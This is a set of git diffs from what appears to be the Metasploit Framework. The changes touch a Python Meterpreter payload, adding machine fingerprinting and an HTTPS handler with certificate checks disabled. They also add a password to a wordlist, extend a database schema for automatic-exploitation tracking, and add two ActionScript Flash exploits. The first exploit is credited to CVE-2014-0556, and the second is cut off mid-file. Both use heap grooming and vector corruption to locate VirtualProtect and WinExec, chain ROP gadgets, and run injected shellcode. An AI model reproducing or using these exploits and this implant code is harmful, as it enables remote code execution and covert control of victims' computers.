[48;5;175;38;5;175m█[48;5;161;38;5;218m▄[48;5;204;38;5;161m▄[38;5;204m█[38;5;161m▄[48;5;161;38;5;204m▄[48;5;204;38;5;161m▄▄[48;5;161;38;5;218m▄[48;5;218m█[38;5;175m▄[48;5;81;38;5;81m█[48;5;218;38;5;218m█[48;5;81;38;5;228m▄[38;5;218m▄[48;5;175;38;5;175m█[49;39m [48;5;161;38;5;161m█[48;5;204;38;5;204m██[48;5;161m▄[38;5;161m█[38;5;204m▄▄▄[38;5;161m█[48;5;204m▄[38;5;204m█[48;5;161;38;5;161m█[49;39m[00m
|
||||||
|
[48;5;175;38;5;169m▄[48;5;218m▄[48;5;161;38;5;218m▄[38;5;161m█[38;5;204m▄[48;5;218;38;5;218m████[48;5;175;38;5;175m█[48;5;228;38;5;218m▄[48;5;218m███[48;5;175;38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[38;5;204m███[48;5;161;38;5;161m██[48;5;204m▄▄[48;5;161m██[49m▀[39m[00m
|
||||||
|
[38;5;169m▄[48;5;169m█[38;5;175m▄[48;5;175;38;5;218m▄▄[48;5;161m▄[38;5;161m█[48;5;218;38;5;218m█[48;5;175;38;5;175m█[49m▀[48;5;175;38;5;169m▄[38;5;175m█[48;5;218m▄[38;5;218m███[48;5;175;38;5;175m█[38;5;218m▄[38;5;175m█[49;39m [38;5;161m▀[48;5;204m▄[48;5;161m█[48;5;204m▄▄[38;5;204m██[48;5;161;38;5;161m█[49;39m [38;5;161m▄[39m[00m
|
||||||
|
[38;5;169m▄[48;5;169;38;5;211m▄[48;5;211m█[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄▄[48;5;161m▄[49m▀[48;5;169;38;5;169m█[38;5;211m▄[48;5;211m██[48;5;175;38;5;175m█[38;5;218m▄[48;5;218m██[38;5;175m▄[49m▀[39m [38;5;161m▄[48;5;161;38;5;204m▄[48;5;204m█[38;5;161m▄[48;5;161m█[49m▄▄[48;5;161m█[49;39m[00m
|
||||||
|
[48;5;169;38;5;169m█[48;5;211m▄[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [48;5;169;38;5;169m█[48;5;211;38;5;211m██[38;5;175m▄[48;5;175;38;5;218m▄[48;5;218m███[38;5;175m▄[49m▀[39m [38;5;161m▀[48;5;204m▄▄▄▄[49m▀▀[39m [00m
|
||||||
|
[48;5;175;38;5;175m█[48;5;218;38;5;218m████[48;5;175;38;5;175m█[49;39m [38;5;169m▀▀[48;5;175;38;5;175m█[48;5;218;38;5;218m█████[48;5;175;38;5;175m█[49;39m [00m
|
||||||
|
[38;5;175m▀▀▀▀▀▀[39m [38;5;175m▀▀▀▀▀▀[39m [00m
|
||||||
|
[00m
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,7 @@
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
import code
|
import code
|
||||||
import os
|
import os
|
||||||
|
import platform
|
||||||
import random
|
import random
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
|
@ -141,6 +142,8 @@ TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||||
|
|
||||||
|
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||||
|
|
||||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||||
|
|
||||||
|
@ -264,7 +267,7 @@ def tlv_pack(*args):
|
||||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||||
else:
|
else:
|
||||||
value = tlv['value']
|
value = tlv['value']
|
||||||
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
|
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||||
value = value.encode('UTF-8')
|
value = value.encode('UTF-8')
|
||||||
elif not is_bytes(value):
|
elif not is_bytes(value):
|
||||||
value = bytes(value, 'UTF-8')
|
value = bytes(value, 'UTF-8')
|
||||||
|
@ -393,11 +396,17 @@ class PythonMeterpreter(object):
|
||||||
print(msg)
|
print(msg)
|
||||||
|
|
||||||
def driver_init_http(self):
|
def driver_init_http(self):
|
||||||
|
opener_args = []
|
||||||
|
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||||
|
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||||
|
import ssl
|
||||||
|
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||||
|
ssl_ctx.check_hostname=False
|
||||||
|
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||||
|
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||||
if HTTP_PROXY:
|
if HTTP_PROXY:
|
||||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||||
opener = urllib.build_opener(proxy_handler)
|
opener = urllib.build_opener(*opener_args)
|
||||||
else:
|
|
||||||
opener = urllib.build_opener()
|
|
||||||
if HTTP_USER_AGENT:
|
if HTTP_USER_AGENT:
|
||||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||||
urllib.install_opener(opener)
|
urllib.install_opener(opener)
|
||||||
|
@ -560,6 +569,36 @@ class PythonMeterpreter(object):
|
||||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
self.send_packet(pkt)
|
self.send_packet(pkt)
|
||||||
|
|
||||||
|
def _core_machine_id(self, request, response):
|
||||||
|
serial = ''
|
||||||
|
machine_name = platform.uname()[1]
|
||||||
|
if has_windll:
|
||||||
|
from ctypes import wintypes
|
||||||
|
|
||||||
|
k32 = ctypes.windll.kernel32
|
||||||
|
sys_dir = ctypes.create_unicode_buffer(260)
|
||||||
|
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
|
||||||
|
return ERROR_FAILURE_WINDOWS
|
||||||
|
|
||||||
|
vol_buf = ctypes.create_unicode_buffer(260)
|
||||||
|
fs_buf = ctypes.create_unicode_buffer(260)
|
||||||
|
serial_num = wintypes.DWORD(0)
|
||||||
|
|
||||||
|
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
|
||||||
|
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
|
||||||
|
None, fs_buf, ctypes.sizeof(fs_buf)):
|
||||||
|
return ERROR_FAILURE_WINDOWS
|
||||||
|
serial_num = serial_num.value
|
||||||
|
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
|
||||||
|
else:
|
||||||
|
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||||
|
for f in files:
|
||||||
|
if f[:4] == 'ata-':
|
||||||
|
serial = f[4:]
|
||||||
|
break
|
||||||
|
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
def _core_loadlib(self, request, response):
|
def _core_loadlib(self, request, response):
|
||||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||||
|
@ -710,7 +749,7 @@ class PythonMeterpreter(object):
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
if hasattr(os, 'setsid'):
|
if hasattr(os, 'setsid'):
|
||||||
try:
|
try:
|
||||||
os.setsid()
|
os.setsid()
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1002,3 +1002,4 @@ sq!us3r
|
||||||
adminpasswd
|
adminpasswd
|
||||||
raspberry
|
raspberry
|
||||||
74k&^*nh#$
|
74k&^*nh#$
|
||||||
|
arcsight
|
88
db/schema.rb
88
db/schema.rb
|
@ -11,7 +11,7 @@
|
||||||
#
|
#
|
||||||
# It's strongly recommended to check this file into your version control system.
|
# It's strongly recommended to check this file into your version control system.
|
||||||
|
|
||||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
ActiveRecord::Schema.define(:version => 20150326183742) do
|
||||||
|
|
||||||
create_table "api_keys", :force => true do |t|
|
create_table "api_keys", :force => true do |t|
|
||||||
t.text "token"
|
t.text "token"
|
||||||
|
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||||
t.datetime "updated_at", :null => false
|
t.datetime "updated_at", :null => false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
create_table "automatic_exploitation_match_results", :force => true do |t|
|
||||||
|
t.integer "match_id"
|
||||||
|
t.integer "run_id"
|
||||||
|
t.string "state", :null => false
|
||||||
|
t.datetime "created_at", :null => false
|
||||||
|
t.datetime "updated_at", :null => false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
|
||||||
|
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
|
||||||
|
|
||||||
|
create_table "automatic_exploitation_match_sets", :force => true do |t|
|
||||||
|
t.integer "workspace_id"
|
||||||
|
t.integer "user_id"
|
||||||
|
t.datetime "created_at", :null => false
|
||||||
|
t.datetime "updated_at", :null => false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
|
||||||
|
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
|
||||||
|
|
||||||
|
create_table "automatic_exploitation_matches", :force => true do |t|
|
||||||
|
t.integer "module_detail_id"
|
||||||
|
t.string "state"
|
||||||
|
t.integer "nexpose_data_vulnerability_definition_id"
|
||||||
|
t.datetime "created_at", :null => false
|
||||||
|
t.datetime "updated_at", :null => false
|
||||||
|
t.integer "match_set_id"
|
||||||
|
t.string "matchable_type"
|
||||||
|
t.integer "matchable_id"
|
||||||
|
t.text "module_fullname"
|
||||||
|
end
|
||||||
|
|
||||||
|
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
|
||||||
|
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
|
||||||
|
|
||||||
|
create_table "automatic_exploitation_runs", :force => true do |t|
|
||||||
|
t.integer "workspace_id"
|
||||||
|
t.integer "user_id"
|
||||||
|
t.integer "match_set_id"
|
||||||
|
t.datetime "created_at", :null => false
|
||||||
|
t.datetime "updated_at", :null => false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
|
||||||
|
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
|
||||||
|
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
|
||||||
|
|
||||||
create_table "clients", :force => true do |t|
|
create_table "clients", :force => true do |t|
|
||||||
t.integer "host_id"
|
t.integer "host_id"
|
||||||
t.datetime "created_at"
|
t.datetime "created_at"
|
||||||
|
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||||
end
|
end
|
||||||
|
|
||||||
create_table "loots", :force => true do |t|
|
create_table "loots", :force => true do |t|
|
||||||
t.integer "workspace_id", :default => 1, :null => false
|
t.integer "workspace_id", :default => 1, :null => false
|
||||||
t.integer "host_id"
|
t.integer "host_id"
|
||||||
t.integer "service_id"
|
t.integer "service_id"
|
||||||
t.string "ltype", :limit => 512
|
t.string "ltype", :limit => 512
|
||||||
t.string "path", :limit => 1024
|
t.string "path", :limit => 1024
|
||||||
t.text "data"
|
t.text "data"
|
||||||
t.datetime "created_at", :null => false
|
t.datetime "created_at", :null => false
|
||||||
t.datetime "updated_at", :null => false
|
t.datetime "updated_at", :null => false
|
||||||
t.string "content_type"
|
t.string "content_type"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
t.text "info"
|
t.text "info"
|
||||||
|
t.integer "module_run_id"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
|
||||||
|
|
||||||
create_table "macros", :force => true do |t|
|
create_table "macros", :force => true do |t|
|
||||||
t.datetime "created_at", :null => false
|
t.datetime "created_at", :null => false
|
||||||
t.datetime "updated_at", :null => false
|
t.datetime "updated_at", :null => false
|
||||||
|
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||||
|
|
||||||
|
create_table "module_runs", :force => true do |t|
|
||||||
|
t.datetime "attempted_at"
|
||||||
|
t.text "fail_detail"
|
||||||
|
t.string "fail_reason"
|
||||||
|
t.text "module_fullname"
|
||||||
|
t.integer "port"
|
||||||
|
t.string "proto"
|
||||||
|
t.integer "session_id"
|
||||||
|
t.string "status"
|
||||||
|
t.integer "trackable_id"
|
||||||
|
t.string "trackable_type"
|
||||||
|
t.integer "user_id"
|
||||||
|
t.string "username"
|
||||||
|
t.datetime "created_at", :null => false
|
||||||
|
t.datetime "updated_at", :null => false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
|
||||||
|
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
|
||||||
|
|
||||||
create_table "module_targets", :force => true do |t|
|
create_table "module_targets", :force => true do |t|
|
||||||
t.integer "detail_id"
|
t.integer "detail_id"
|
||||||
t.integer "index"
|
t.integer "index"
|
||||||
|
@ -481,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||||
t.integer "port"
|
t.integer "port"
|
||||||
t.string "platform"
|
t.string "platform"
|
||||||
t.text "datastore"
|
t.text "datastore"
|
||||||
t.datetime "opened_at", :null => false
|
t.datetime "opened_at", :null => false
|
||||||
t.datetime "closed_at"
|
t.datetime "closed_at"
|
||||||
t.string "close_reason"
|
t.string "close_reason"
|
||||||
t.integer "local_id"
|
t.integer "local_id"
|
||||||
t.datetime "last_seen"
|
t.datetime "last_seen"
|
||||||
|
t.integer "module_run_id"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
|
||||||
|
|
||||||
create_table "tags", :force => true do |t|
|
create_table "tags", :force => true do |t|
|
||||||
t.integer "user_id"
|
t.integer "user_id"
|
||||||
t.string "name", :limit => 1024
|
t.string "name", :limit => 1024
|
||||||
|
|
|
@ -0,0 +1,182 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||||
|
// Modified to be used from msf
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.display.BitmapData
|
||||||
|
import flash.geom.Rectangle
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Main extends Sprite
|
||||||
|
{
|
||||||
|
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||||
|
private var uv:Vector.<Object> = new Vector.<Object>(12800)
|
||||||
|
private var bd:BitmapData = new BitmapData(128, 16)
|
||||||
|
private var i:uint = 0
|
||||||
|
|
||||||
|
public function Main()
|
||||||
|
{
|
||||||
|
var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||||
|
var payload:String = b64.toByteArray().toString()
|
||||||
|
|
||||||
|
for (i = 0; i < bv.length; i++) {
|
||||||
|
bv[i] = new ByteArray()
|
||||||
|
bv[i].length = 0x2000
|
||||||
|
bv[i].position = 0xFFFFF000
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < bv.length; i++)
|
||||||
|
if (i % 2 == 0) bv[i] = null
|
||||||
|
|
||||||
|
for (i = 0; i < uv.length; i++) {
|
||||||
|
uv[i] = new Vector.<uint>(1022)
|
||||||
|
}
|
||||||
|
|
||||||
|
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||||
|
|
||||||
|
for (i = 0; ; i++)
|
||||||
|
if (uv[i].length == 0xffffffff) break
|
||||||
|
|
||||||
|
for (var i2:uint = 1; i2 < uv.length; i2++) {
|
||||||
|
if (i == i2) continue
|
||||||
|
uv[i2] = new Vector.<Object>(1014)
|
||||||
|
uv[i2][0] = bv[6401]
|
||||||
|
uv[i2][1] = this
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
|
||||||
|
bv[6401].endian = "littleEndian"
|
||||||
|
bv[6401].length = 0x500000
|
||||||
|
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
|
||||||
|
var main:uint = uv[i][0xfffffc09] - 1
|
||||||
|
var vtable:uint = vector_read(main)
|
||||||
|
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
|
||||||
|
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
|
||||||
|
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
|
||||||
|
byte_write(uv[i][0])
|
||||||
|
|
||||||
|
var flash:uint = base(vtable)
|
||||||
|
var winmm:uint = module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = module("kernel32.dll", winmm)
|
||||||
|
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||||
|
var winexec:uint = procedure("WinExec", kernel32)
|
||||||
|
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||||
|
|
||||||
|
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||||
|
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||||
|
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
byte_write(buffer + 0x100, payload, true)
|
||||||
|
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||||
|
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||||
|
byte_write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
byte_write(0, winexec)
|
||||||
|
byte_write(0, buffer + 0x30000)
|
||||||
|
byte_write(0, 0x1000)
|
||||||
|
byte_write(0, 0x40)
|
||||||
|
byte_write(0, buffer + 0x80)
|
||||||
|
|
||||||
|
// WinExec
|
||||||
|
byte_write(0, buffer + 0x30000)
|
||||||
|
byte_write(0, buffer + 0x100)
|
||||||
|
byte_write(0)
|
||||||
|
|
||||||
|
byte_write(main, buffer + 0x20000)
|
||||||
|
this.toString()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_read(addr:uint):uint
|
||||||
|
{
|
||||||
|
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
if (addr) bv[6401].position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) bv[6401].writeByte(0)
|
||||||
|
} else bv[6401].writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
bv[6401].position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return bv[6401].readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return bv[6401].readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return bv[6401].readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (byte_read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
bv[6401].position = addr + entry
|
||||||
|
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
private function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||||
|
bv[6401].position = addr + entry
|
||||||
|
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,285 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// Original code skeleton by @hdarwin89 for other exploits
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.ApplicationDomain
|
||||||
|
import avm2.intrinsics.memory.casi32
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Main extends Sprite
|
||||||
|
{
|
||||||
|
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||||
|
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(100)
|
||||||
|
private var uv:Vector.<Object> = new Vector.<Object>(100)
|
||||||
|
private var uv_index:uint
|
||||||
|
private var ba:ByteArray
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder();
|
||||||
|
private var payload:String = ""
|
||||||
|
|
||||||
|
public function Main()
|
||||||
|
{
|
||||||
|
var i:uint = 0
|
||||||
|
var j:uint = 0
|
||||||
|
|
||||||
|
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||||
|
payload = b64.toByteArray().toString();
|
||||||
|
|
||||||
|
for (i = 0; i < defrag.length; i++) {
|
||||||
|
defrag[i] = new ByteArray()
|
||||||
|
defrag[i].length = BYTE_ARRAY_SIZE
|
||||||
|
defrag[i].endian = "littleEndian"
|
||||||
|
}
|
||||||
|
|
||||||
|
ba = new ByteArray()
|
||||||
|
ov[0] = ba
|
||||||
|
ov[0].length = BYTE_ARRAY_SIZE
|
||||||
|
ov[0].endian = "littleEndian"
|
||||||
|
|
||||||
|
for (i = 1; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<Object>(1014)
|
||||||
|
ov[i][0] = ba
|
||||||
|
ov[i][1] = this
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < uv.length; i++) {
|
||||||
|
uv[i] = new Vector.<uint>(1014)
|
||||||
|
uv[i][0] = 0x41424344
|
||||||
|
}
|
||||||
|
|
||||||
|
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
|
||||||
|
for (i = 1; i < ov.length; i++) {
|
||||||
|
ov[i][2] = stack
|
||||||
|
ov[i][3] = payload_space
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||||
|
// Make ByteArray length 0 so the casi32 integer overflow
|
||||||
|
// can be exploited
|
||||||
|
ba.atomicCompareAndSwapLength(1024, 0)
|
||||||
|
|
||||||
|
var object_vector_pos:uint = search_object_vector()
|
||||||
|
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
|
||||||
|
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
|
||||||
|
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
|
||||||
|
var main:uint = read_byte_array(object_vector_pos + 8) - 1
|
||||||
|
var uint_vector_pos:uint = search_uint_vector()
|
||||||
|
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
|
||||||
|
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
|
||||||
|
|
||||||
|
// Overwrite uint vector length
|
||||||
|
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||||
|
|
||||||
|
for (i = 0; i < uv.length; i++) {
|
||||||
|
if (uv[i].length > 1024) {
|
||||||
|
uv_index = i
|
||||||
|
uv[i][0] = uint_vector_address
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||||
|
var buffer:uint = vector_read(buffer_object + 8)
|
||||||
|
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||||
|
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||||
|
var vtable:uint = vector_read(main)
|
||||||
|
|
||||||
|
// Set the new ByteArray length
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.length = 0x500000
|
||||||
|
|
||||||
|
// Overwite the ByteArray data pointer and capacity
|
||||||
|
var ba_array:uint = buffer_object + 8
|
||||||
|
var ba_capacity:uint = buffer_object + 16
|
||||||
|
vector_write(ba_array)
|
||||||
|
vector_write(ba_capacity, 0xffffffff)
